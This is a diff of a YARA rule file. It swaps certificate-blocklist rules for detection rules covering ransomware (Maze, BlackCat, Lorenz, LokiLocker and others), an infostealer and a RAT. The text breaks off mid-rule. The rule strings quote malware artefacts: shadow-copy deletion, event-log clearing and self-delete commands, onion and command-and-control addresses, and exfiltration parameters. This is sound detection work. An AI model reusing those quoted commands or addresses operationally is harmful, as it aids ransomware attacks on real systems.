-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5526-L5537"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9100-L9114"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2b7c5ccc7a09d3917cf8625bc3e78526ba9620eb8bb08490124c24a5c2eda629"
+		logic_hash = "84b139e51f0ef0389c641d62409d702b0ae7ec6ecd2fa54baf2cf0c0078a8f5a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "57ecdfa48ed03a5a8177887090b3d1ffaf124846"
-		importance = 20
+
+	strings:
+		$x1 = "%appdata%\\_uninstalling_.png" fullword wide
+		$x2 = "C:\\Windows\\sysnative\\vssadmin.exe" fullword wide
+		$x3 = /(ICQ|Skype) (@nuncatarde|@supersuso|@Whitehorsedecryption|@likeahorse|@Konwarszawski|@zipzipulya|Whitehorsedecryption|LIKEAHORSE DECRYPTION|Zip Zipulya)/ ascii
+		$s1 = "your unique ID" ascii
+		$s2 = "Google market ICQ" ascii
+		$s3 = "If you want to restore them, install ICQ" ascii
+		$s4 = "Write to our ICQ @" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "jZQtQDMvyDRzWsoVFeitFmeNcWMtKauvidXSUrSEwqmi" and pe.signatures[i].serial=="71:9a:c4:49:66:d0:57:62:ef:95:24:5e:ef:cf:30:46")
+		uint16(0)==0x5a4d and ((2 of ($x*) and 1 of ($s*)) or all of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_008Fe807310D98357A59382090634B93F0 : FILE
+rule DITEKSHEN_MALWARE_Win_Locked : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Locked ransomware"
 		author = "ditekSHen"
-		id = "bf4326b3-a838-5dff-a6e1-ac71c6fb871d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ad2f91ab-9bbb-5d47-a5c3-5a38dbab2ebe"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5539-L5550"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9116-L9132"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a90430a6f07f67ead37e5cba9f0baee92551511a9f33a2a1fd3d2419322aaa8b"
+		logic_hash = "b838b996946fb268c66bac68d5e326ff3049340dfb08f2e0a77492df49915d5a"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "acd6cf38d03c355ddb84b96a7365bfc1738a0ec5"
-		importance = 20
+
+	strings:
+		$x1 = "http://xxxx.onion/xxxx-xxxx-xxxx-xxxx" ascii
+		$x2 = "http://pigetrzlperjreyr3fbytm27bljaq4eungv3gdq2tohnoyfrqu4bx5qd.onion" ascii
+		$x3 = "dHA6Ly94eHh4Lm9uaW9uL3h4eHgteHh4eC14eHh4LXh4eHg" ascii
+		$s1 = "choice /t 1 /d y /n >nul" ascii
+		$s2 = ".locked" fullword ascii
+		$s3 = "c:\\system volume information" fullword ascii
+		$s4 = "__$$RECOVERY_README$$__.html" fullword ascii
+		$s5 = "Trunc..." fullword ascii
+		$s6 = /C:\\windows\\temp\\[a-z0-9A-Z]{6}\.tmp/ fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MAVE MEDIA" and pe.signatures[i].serial=="00:8f:e8:07:31:0d:98:35:7a:59:38:20:90:63:4b:93:f0")
+		uint16(0)==0x5a4d and ( all of ($x*) or all of ($s*) or (1 of ($x*) and 4 of ($s*)) or (#s6>1 and 4 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00801689896Ed339237464A41A2900A969 : FILE
+rule DITEKSHEN_MALWARE_Win_Maze : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Maze ransomware"
 		author = "ditekSHen"
-		id = "91cecd18-0007-59a4-94f3-bdaa06b25822"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f5d1d3e2-1ffe-5ec6-b1ee-bded81867fb8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5552-L5563"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9134-L9163"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9dc505e00e0085587aee2bf2e70db04850e11d057b8d16e31e8caebb130e047b"
+		logic_hash = "d3ce3b43c65dfd9f59ba3c6b64e8d7687db175673cc62068caa1e1da023390c0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9b0ab2e7f3514f6372d14b1f7f963c155b18bd24"
-		importance = 20
+
+	strings:
+		$x1 = "Uc32nbspacec97c98c99c100c101c102c103c104c105c106c107c108c109c110c" ascii
+		$s1 = "\"%s\" shadowcopy delete" wide
+		$s2 = "[%windir%\\system32\\wbem\\wmic" wide
+		$s3 = "process call create \"cmd /c start %s\"" wide
+		$s4 = "DECRYPT-FILES.html" fullword wide
+		$s5 = "Dear %s, your files" wide
+		$s6 = "%s! Alert! %s! Alert!" wide
+		$s7 = "%BASE64_PLACEHOLDER%" fullword ascii
+		$s8 = "-orDGorX0or" fullword ascii
+		$s9 = { 47 45 54 20 2f 25 73 20 48 54 54 50 2f 31 2e 31
+               0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 25 73
+               0d 0a 48 6f 73 74 3a 20 25 73 0d 0a 43 6f 6e 6e
+               65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69
+               76 65 0d 0a 0d 0a 00 50 4f 53 54 20 2f 25 73 20
+               48 54 54 50 2f 31 2e 31 0d 0a 55 73 65 72 2d 41
+               67 65 6e 74 3a 20 25 73 0d 0a 48 6f 73 74 3a 20
+               25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65
+               3a 20 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65
+               6e 67 74 68 3a 20 25 64 0d 0a 43 6f 6e 6e 65 63
+               74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65
+               0d 0a 0d 0a 00 0d 0a 0d 0a 00 43 6f 6e 74 65 6e
+               74 2d 4c 65 6e 67 74 68 3a 20 00 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "GLG Rental ApS" and pe.signatures[i].serial=="00:80:16:89:89:6e:d3:39:23:74:64:a4:1a:29:00:a9:69")
+		uint16(0)==0x5a4d and ((1 of ($x*) and 3 of ($s*)) or 6 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Podangers : FILE
+rule DITEKSHEN_MALWARE_Win_Teslarevenge : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects TeslaRevenge ransomware"
 		author = "ditekSHen"
-		id = "b394c4a1-1614-578f-bbfc-6eb9998b4a06"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "13e5bb15-47eb-5e49-a1a5-3d51cacede2f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5565-L5576"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9165-L9185"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6a041e8ae4a7a1af59b81799b5c014691e347c8305266adeffd9d49337712b2e"
+		logic_hash = "0f68eae8a076d00c8d058ec148d3557f5770dc827d4690b931faf98797426dbc"
 		score = 75
-		quality = 75
+		quality = 65
 		tags = "FILE"
-		thumbprint = "6e757c3b91d75d58b5230c27a2fcc01bfe5fe60f"
-		importance = 20
+
+	strings:
+		$s1 = "autospreadifnoav=" ascii wide
+		$s2 = "autospread=" ascii wide
+		$s3 = "noencryptext=" ascii wide
+		$s4 = "teslarvng" wide
+		$s5 = "finished encrypting" wide nocase
+		$s6 = "net scan" wide nocase
+		$s7 = "for /f %%x in ('wevtutil el') do wevtutil cl" ascii
+		$s8 = "tasklist | find /i \"SDELETE.exe\"" ascii
+		$e1 = "mshta.exe" ascii wide nocase
+		$e2 = "sc.exe" ascii wide nocase
+		$e3 = "vssadmin.exe" ascii wide nocase
+		$e4 = "wbadmin.exe" ascii wide nocase
+		$e5 = "cmd.exe" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PODANGERS" and pe.signatures[i].serial=="00")
+		uint16(0)==0x5a4d and (4 of ($s*) or ( all of ($e*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00E9A1E07314Bc2F2D51818454B63E5829 : FILE
+rule DITEKSHEN_MALWARE_Win_Lokilocker : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects LokiLocker ransomware"
 		author = "ditekSHen"
-		id = "2c9f0497-0fcd-591c-be72-e92464b689f3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4f4927c5-79e6-5c5a-b84d-c4728affe9e1"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5578-L5589"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9187-L9212"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e3dfb75350bcdbb6861612f2f6cc757724260f99e4024df2b20c7b273bc50266"
+		logic_hash = "bf78f5e8f40c1a19f6b078a85854e95d5ef1f321393a831edda17b0d65515da7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "3a146f3c0fc17b9df14bd127ebf12b15a5a1a011"
-		importance = 20
+
+	strings:
+		$x1 = "SOFTWARE\\Loki" fullword wide
+		$x2 = "Cpriv.Loki" fullword wide
+		$x3 = "Loki/" wide
+		$x4 = /loki(\s)?locker/ fullword wide nocase
+		$s1 = "Restore-My-Files.txt" wide
+		$s2 = "loading encryption keys" wide
+		$s3 = "Kill switch -> enabled" wide
+		$s4 = "ScanSMBShares" fullword ascii
+		$s5 = "RewriteMBR" fullword ascii
+		$s6 = /Encrypt(Drives|File|WinVolume|OsDrive)/ fullword ascii
+		$n1 = "unique-id=" ascii wide
+		$n2 = "&disk-size=" ascii wide
+		$n3 = "&user=Darwin&cpu-name=" ascii wide
+		$n4 = "&ram-size=" ascii wide
+		$n5 = "&os-name=" ascii wide
+		$n6 = "&chat-id=" ascii wide
+		$n7 = "&msg-id=" ascii wide
+		$n8 = "&elapsed-time=" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "iWLiYpLtpOlZYGmysAZkhz" and pe.signatures[i].serial=="00:e9:a1:e0:73:14:bc:2f:2d:51:81:84:54:b6:3e:58:29")
+		uint16(0)==0x5a4d and (2 of ($x*) or 4 of ($s*) or 6 of ($n*) or (3 of ($s*) and 3 of ($n*)) or (1 of ($x*) and (2 of ($s*) or 2 of ($n*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_9D915138Acdac1A044Afa6E5D99567C5 : FILE
+rule DITEKSHEN_MALWARE_Osx_Dazzlespy : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Attemp at hunting for DazzleSpy"
 		author = "ditekSHen"
-		id = "89182dfb-b100-573c-85ae-38bdf7f24a64"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "8c5f6605-13d2-578e-9e0b-6a8226991ac5"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5591-L5602"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9214-L9228"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "32fb0d12a9b61461104e29571fcc7210f7ea8a82a8e240c747a0070d8d43a9b0"
-		score = 75
-		quality = 75
+		logic_hash = "61305384055f71d92ce2ac3d427a1b6f85ce21f502e759f3af952127b1413470"
+		score = 50
+		quality = 71
 		tags = "FILE"
-		thumbprint = "4f8b9ce0e25810d1b62d8c016607de128beba2a1"
-		importance = 20
+
+	strings:
+		$x1 = "/osxrk_commandline/" ascii wide nocase
+		$x2 = "/Users/wangping/pangu/" ascii wide nocase
+		$s1 = "heartbeat" ascii wide
+		$s2 = "scanFiles" ascii wide
+		$s3 = "restartCMD" ascii wide
+		$s4 = "downloadFile" ascii wide
+		$s5 = "RDPInfo" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AAAruntest" and pe.signatures[i].serial=="9d:91:51:38:ac:da:c1:a0:44:af:a6:e5:d9:95:67:c5")
+		uint16(0)==0xfacf and ( all of ($x*) or all of ($s*) or (1 of ($x*) and 3 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_11A9Bf6B2Dcbc683475B431A1C79133E : FILE
+rule DITEKSHEN_MALWARE_Win_Bhunt : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects BHunt infostealer"
 		author = "ditekSHen"
-		id = "9c49f529-330f-5d37-b613-e45aad50afcb"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4c699f10-64a0-5e3c-af00-e08ebe1c6830"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5604-L5615"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9230-L9251"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fa424180e60d2fde2fce085d0c848c5b33bcc58c2ca54f327f446ff5cf361fe2"
+		logic_hash = "ca0a7e6898047fa3b369125a4402e2beffd328a5db47b1d5dd5914a86d6f0073"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7412b3f5ba689967a5b46e6ef5dc5e9b9de3917d"
-		importance = 20
+
+	strings:
+		$x1 = "BHUNT.Resources.resources" fullword ascii
+		$x2 = "//minecraftsquid.hopto.org/" wide
+		$s1 = "chaos_crew" ascii wide
+		$s2 = "golden7" ascii wide
+		$s3 = "mrpropper" ascii wide
+		$s4 = "/ifo.php?" ascii wide
+		$s5 = "bonanza=:=" ascii wide
+		$s6 = "blackjack=:=" ascii wide
+		$s7 = "SendPostData" fullword ascii
+		$c1 = "cmd /c REG ADD" wide
+		$c2 = "taskkill /F /IM" wide
+		$c3 = "cmd.exe /c wmic" wide
+		$g1 = "$ca9a291d-266c-41dc-9f1c-93cfe0dcac16" fullword ascii
+		$g2 = "$6d0feb35-213d-4b9f-afc7-06d168cfcb5e" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BINDOX" and pe.signatures[i].serial=="11:a9:bf:6b:2d:cb:c6:83:47:5b:43:1a:1c:79:13:3e")
+		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and (5 of ($s*) or 2 of ($c*))) or (6 of ($s*) and 2 of ($c*)) or ( all of ($g*) and 2 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3Fd3661533Eef209153C9Afec3Ba4D8A : FILE
+rule DITEKSHEN_MALWARE_Win_Lorenz : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Lorenz ransomware"
 		author = "ditekSHen"
-		id = "d47bc223-f29e-54d3-a452-064f89fa80f7"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "9c11cfbc-aa77-5138-81e4-3a5f4f21a470"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5617-L5628"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9253-L9283"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e9662abf4c70d54fc719850ef216352fd59a559726fbad5db9e265660400b432"
+		logic_hash = "e9fc9d405b955c379ae40b1804d43b19999f6ea264fc645c897080fb020e8ae8"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "20ddd23f53e1ac49926335ec3e685a515ab49252"
-		importance = 20
+
+	strings:
+		$x1 = "143.198.117.43" fullword ascii
+		$x2 = "157.90.147.28" fullword ascii
+		$x3 = "//kpb3ss3vwvfejd4g3gvpvqo6ad7nnmvcqoik4mxt2376yu2adlg5fwyd.onion" ascii
+		$x4 = "http://lorenz" ascii
+		$x5 = "\\lora\\Release\\lora.pdb" ascii
+		$x6 = "--MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQ" ascii
+		$x7 = "/USER:'HOMEOFFICE.COM\\" ascii
+		$x8 = "/USER:'Sentinel.com\\" ascii
+		$s1 = "to->_What == nullptr && to->_DoFree == false" fullword wide
+		$s2 = "*it == '\\0'" fullword wide
+		$s3 = "process call create 'cmd.exe /c" ascii
+		$s4 = "\\Control Panel\\Desktop\" /V Wallpaper /T REG_SZ /F /D" ascii
+		$s5 = "HELP_SECURITY_EVENT.html" ascii
+		$s6 = "<br>[+] Whats Happen?" ascii
+		$s7 = /\.Lorenz\.sz\d+$/ fullword ascii
+		$s8 = "TW9Vc29Db3JlV29ya2VyLmV4ZQ==" fullword ascii
+		$s9 = ".Speak(\"You've been hack" ascii nocase
+		$s10 = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAo" ascii
+		$n1 = "ame_serv=" ascii
+		$n2 = "&ip=" ascii
+		$n3 = "&winver=Windows" ascii
+		$n4 = "&list_drive=" ascii
+		$n5 = "&file=" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SFB Regnskabsservice ApS" and pe.signatures[i].serial=="3f:d3:66:15:33:ee:f2:09:15:3c:9a:fe:c3:ba:4d:8a")
+		uint16(0)==0x5a4d and (2 of ($x*) or 8 of ($s*) or (4 of ($n*) and 2 of them ) or (1 of ($x*) and 6 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2Ba40F65086686Dd4Ab7171E : FILE
+rule DITEKSHEN_MALWARE_Win_Blackcat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects BlackCat ransomware"
 		author = "ditekSHen"
-		id = "13909741-cba3-5143-86eb-bcc227cfaa9c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b6831d84-40d7-52ae-8c4d-30b087b0007b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5630-L5641"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9285-L9307"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8ed65c0b5d231be9dbbe34da493087d1bf83cf21c401435fed7e2851acdb6f60"
+		logic_hash = "cd76e5b87f33d91c17fd032417583c3f68d0e310aaf6f08e26ec5d53844ed9d2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "842f81869c2f4f2ba2a7e6513501166e2679108a"
-		importance = 20
+
+	strings:
+		$x1 = "{\"config_id\":\"\",\"public_key\":\"MIIBIjANBgkqhkiG9w0BAQEFAAO" ascii
+		$x2 = "C:\\Users\\Public\\All Usersdeploy_note_and_image_for_all_users=" fullword ascii
+		$s1 = "encrypt_app::windows" ascii
+		$s2 = /locker::core::os::windows::(desktop_note|self_propagation|privilege_escalation|psexec|shadow_copy)/ ascii
+		$s3 = "uac_bypass::shell_exec=" ascii
+		$s4 = "-u-p-s-d-f-cpropagate::attempt=" ascii
+		$s5 = "masquerade_peb" ascii
+		$s6 = "RECOVER-${EXTENSION}-FILES.txt" ascii
+		$s7 = ".onion/?access-key=${ACCESS_KEY}" ascii
+		$s8 = "-vm-killno-vm-snapshot-killno-vm-kill-" ascii
+		$s9 = "esxi_vm_killenable_esxi_vm_snapshot_killstrict_" ascii
+		$s10 = /enum_(shares|servers)_sync::ok/ fullword ascii
+		$s11 = "hidden_partitions::mount_all::mounting=" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RITEIL SISTEMS LLC" and pe.signatures[i].serial=="2b:a4:0f:65:08:66:86:dd:4a:b7:17:1e")
+		( uint16(0)==0x5a4d or uint16(0)==0x457f) and ( all of ($x*) or 5 of ($s*) or (1 of ($x*) and 3 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_67144B9Ed89Fb2D106D0233873C6E35F : FILE
+rule DITEKSHEN_MALWARE_Win_Koxic : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Koxic ransomware"
 		author = "ditekSHen"
-		id = "f9806e55-9efa-504a-b27c-d3418fc5cd38"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6a82bf44-b155-5746-b798-20a13623a14a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5643-L5654"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9309-L9327"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9d3c39c590a75b3ea1d1f699bea279c0c68498e51e2ab7f4ad3e3f8857d6d668"
+		logic_hash = "d874c8ebf330814e52d159cbf71f8bc05ebeb4a9fb93d96c3f861b51e57925a3"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE"
-		thumbprint = "5971faead4c86bf72e6ab36efc0376d4abfffeda"
-		importance = 20
+
+	strings:
+		$c1 = " INFO: >> %TEMP%\\" ascii wide
+		$c2 = "cmd /c \"wmic" ascii wide
+		$c3 = "cmd /c \"echo" ascii wide
+		$c4 = "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q \"%s\"" fullword wide
+		$c5 = /sc config.{1,30}start=disabled/ fullword ascii wide
+		$s1 = "Container: %s" fullword wide
+		$s2 = "Shotcut dir : %s" fullword wide
+		$s3 = "\\Microsoft\\Windows\\Network Shortcuts\\" fullword wide
+		$s4 = "Thread %d started." fullword ascii
+		$s5 = "ADD our TOXID:" wide
+		$s6 = "[Recommended] Using an email" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Infosignal LLC" and pe.signatures[i].serial=="67:14:4b:9e:d8:9f:b2:d1:06:d0:23:38:73:c6:e3:5f")
+		uint16(0)==0x5a4d and ((4 of ($s*) and 1 of ($c*)) or (2 of ($s*) and (#c1>5 or #c2>5 or #c3>5 or #c5>5)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Ca4822E6905Aa4Fca9E28523F04F14A3 : FILE
+rule DITEKSHEN_MALWARE_Win_Timetime : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects TimeTime ransomware"
 		author = "ditekSHen"
-		id = "713f84b3-b09a-5fcf-85ed-899be9f14b84"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4d6a31b5-b5a5-58e2-bfce-c40c72cda391"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5656-L5667"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9329-L9345"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6e0d7abd82805019c6b1c9df2479489bbd3fe7a4a1703971c02324072692b1e5"
+		logic_hash = "c75ca595ff25f8c79bfe8e5c6af29349be8f07c2de79fd24f09b02afffb7168b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "35ced9662401f10fa92282e062a8b5588e0c674d"
-		importance = 20
+
+	strings:
+		$s1 = "@_DECRYPTOR_@" ascii wide
+		$s2 = "@__RECOVER_YOUR_FILES__@" wide
+		$s3 = "\\TimeTime.pdb" ascii
+		$s4 = "runCommand" fullword ascii
+		$s5 = "decryptor_file_name" fullword ascii
+		$s6 = "encryption_hiding_process" fullword ascii
+		$s7 = "admin_hiding_process" fullword ascii
+		$s8 = "security_vaccine" fullword ascii
+		$s9 = "EncrFiles_Load" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ELISTREID, OOO" and pe.signatures[i].serial=="00:ca:48:22:e6:90:5a:a4:fc:a9:e2:85:23:f0:4f:14:a3")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3769815A97A8Fb411E005282B37878E3 : FILE
+rule DITEKSHEN_MALWARE_Win_Strifewater : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects StrifeWater RAT"
 		author = "ditekSHen"
-		id = "da41e9a7-1660-5157-9148-f2f774df647a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "69f0bd07-3e4e-5245-9c42-c3f8199b566e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5669-L5680"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9347-L9372"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ccd548ebe2be2c7b44e6c39df50ffea4703d0b1decd78cc6fb4b3bbf9d85be0b"
+		logic_hash = "ddb189dfe58af08d2c0682239551a5b9d82db94eedcefc02895316bcbbaca3f2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c80fd3259af331743e35a2197f5f57061654860c"
-		importance = 20
+
+	strings:
+		$s1 = "example/1.0" fullword wide
+		$s2 = "coname:" fullword ascii
+		$s3 = "*elev:" fullword ascii
+		$s4 = "*uname:" fullword ascii
+		$s5 = "--BoundrySign" ascii
+		$s6 = "000000c:\\users\\public\\libraries\\tmp.bi" ascii
+		$s7 = "9c4arSBr32g6IOni" fullword ascii
+		$pdb = "\\win8\\Desktop\\ishdar_win8\\" ascii
+		$xn1 = "techzenspace.com" fullword wide
+		$xn2 = "87.120.8.210" wide
+		$xn3 = "192.168.40.27" wide
+		$n1 = /RVP\/index\d+\.php/ fullword wide
+		$n2 = "tid=%d&code=%s&fname=%s&apiData=%s" fullword ascii
+		$n3 = "code=%s&tid=%d&fname=%s&apiData=%s" fullword ascii
+		$n4 = "Content-Disposition: form-data; name=\"token\"" fullword ascii
